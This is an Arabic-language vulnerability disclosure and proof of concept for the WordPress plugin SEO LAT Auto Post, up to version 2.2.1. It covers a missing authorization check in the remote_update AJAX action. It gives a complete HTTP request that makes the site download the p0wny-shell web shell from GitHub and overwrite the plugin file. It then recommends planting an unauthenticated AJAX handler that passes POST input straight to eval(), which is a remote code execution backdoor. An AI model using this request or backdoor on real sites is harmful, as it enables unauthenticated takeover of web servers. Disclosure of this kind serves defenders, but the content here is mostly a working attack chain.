
SEO LAT Auto Post <= 2.2.1 - غياب التخويل للكتابة فوق/رفع الملفات (تنفيذ التعليمات البرمجية عن بُعد)
SEO LAT Auto Post <= 2.2.1 - فقدان التفويض لاستبدال/رفع الملفات (تنفيذ التعليمات البرمجية عن بُعد)
إضافة SEO LAT Auto Post في ووردبريس معرضة لخطر استبدال الملفات بسبب عدم وجود فحص للصلاحيات في إجراء AJAX الخاص بـ remote_update في جميع الإصدارات حتى 2.2.1 وما يشملها. وهذا يتيح للمهاجمين غير المصادَق عليهم استبدال ملف seo-beginner-auto-post.php، والذي يمكن استغلاله لتحقيق تنفيذ التعليمات البرمجية عن بُعد.
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
action=remote_update&url=https://raw.githubusercontent.com/flozz/p0wny-shell/refs/heads/master/shell.php
سيؤدي هذا إلى استبدال https://wp-dev.ddev.site/wp-content/plugins/seo-beginner-auto-post/seo-beginner-auto-post.php - أنصح بتعديل الإضافة الحالية وإضافة إجراء nopriv من أجل تنفيذ التعليمات البرمجية عن بُعد (RCE). https://plugins.svn.wordpress.org/seo-beginner-auto-post/trunk/seo-beginner-auto-post.php
أضف دالة مشابهة لما يلي:
// Add the AJAX action
add_action('wp_ajax_nopriv_execute_code', 'execute_code_callback');
add_action('wp_ajax_execute_code', 'execute_code_callback');
// The callback function
function execute_code_callback() {
// Get the code to execute from the request
$code = $_POST['code'];
// Execute the code
eval($code);
// Return a success message
echo 'Code executed successfully!';
wp_die();
}